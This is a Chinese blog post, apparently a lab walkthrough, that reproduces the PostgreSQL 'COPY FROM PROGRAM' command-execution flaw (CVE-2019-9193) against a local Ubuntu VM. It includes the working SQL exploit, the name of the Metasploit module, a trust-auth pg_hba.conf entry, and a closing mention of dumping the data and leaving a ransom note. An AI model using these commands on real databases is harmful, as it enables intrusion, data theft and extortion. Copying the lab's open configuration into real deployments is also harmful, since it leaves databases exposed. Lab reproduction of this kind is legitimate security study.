为了复现这样一个漏洞需要首先配置目标靶机,整体测试环境如下:

漏洞名称CVE-2019-9193
漏洞影响PostgreSQL版本9.3-11.2
漏洞影响平台windows+Linux+Mac OS
测试硬件环境win10(家庭版)
虚拟机版本ubuntu18.04
本次PostgreSQL版本10.18
win10与ubuntu虚拟机连接方式桥接
kali攻击机ip192.168.31.68
靶机ip192.168.31.9
网关192.168.31.0

1.在本地windows10(家庭版)安装ubuntu18.04虚拟机

windows10现在已经支持以应用的放式安装Linux虚拟机,具体就是在microsoft store搜索ubuntu,如图:

2.安装postgresql数据库

apt update

apt install postgresql postgresql-contrib

安装完会自动启动,如果没有自动启动请根据报错参考其他,我这边当时报了 /var/lib/postgresql/10/main权限不足导致PostgreSQL启动失败,通过命令
chmod 700 -R /var/lib/postgresql/10/main解决,最后验证pg服务是否正常运行
service postgresql status

3.配置数据远程登录权限

在文件pg_hba.conf(一般为/etc/postgresql/pg_hba.conf)末尾添加
host all all 192.168.31.0/24 trust
添加后大概为:
# replication privilege.
local replication all peer
host replication all 127.0.0.1/32 md5
host replication all ::1/128 md5
host all all 192.168.31.0/24 trust

还需修改postgresql.conf中的
#listen_addresses = 'localhost'为
listen_addresses = '*'即去掉注释,允许监听所有主机

4.win10与虚拟机桥接

4.1 安装Hyper-V

由于win10家庭版是没有自带Hyper-V(微软实现的类似VMware的虚拟技术),需要手动安装,复制下面代码到txt记事本文件中,并修改文件名为Hyper-V.cmd

pushd "%~dp0"

dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt

for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i"

del hyper-v.txt

Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL找到文件,右键点击,选择“以管理员身份运行”,运行后,自动打开命令行执行相关命令,执行到最后根据提示让输入Y或N,输入Y,重启电脑...
重启成功后,Hyper-V安装完成。
详情参考:win10 家庭中文版没有Hyper-V,这样安装一步搞定

4.2 创建桥接

在开始里搜Hyper-V找到管理器,如图:

如果找不到Hyper-V管理器,建议再重启一下电脑
详情参考:https://blog.csdn.net/sinat_36203615/article/details/77969800创建网桥,并桥接,桥接成功如图:

5.验证网络连通性

配置到这里kali(渗透主机)应该就可以登录postgresql虚拟机了,
psql -h 192.168.31.9 -U postgres -p 5432
但是我这边还是连不上pg服务,这里需要注意一下你的虚拟机ubuntu18.04上启动的pg服务,是否是在5432默认端口,我通过查看配置文件发现是在5433端口(由于win10上也装了pg数据库,端口占用就自动换了吧),然后再次连接:
psql -h 192.168.31.9 -U postgres -p 5433
依然失败!最后发现是win10的防火墙拦截导致,关闭防火墙即可

6.复现[CVE-2019-9193]漏洞

先手动感受一波:
psql -h 192.168.31.9 -U postgres -p 5433
postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'whoami';
COPY 1
postgres=# SELECT * FROM cmd_exec;
cmd_output
------------
postgres
(1 行记录)
此时已经成功的执行了whoami命令,接下来用metasploit工具走一波:
使用exploit/multi/postgres/postgres_copy_from_program_cmd_exec模块
参数配置如图:

建立session通道后效果如图:
通过pg_dump命令对postgres数据库备份到/tmp/hacktest.sql文件

再接下来就是删除数据,留下比特币的支付id,就如我曾经遭遇过的一样:

原文出自: http://pyspiderking.cn/index.php/2021/08/15/pg-cve-2019-9193/

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐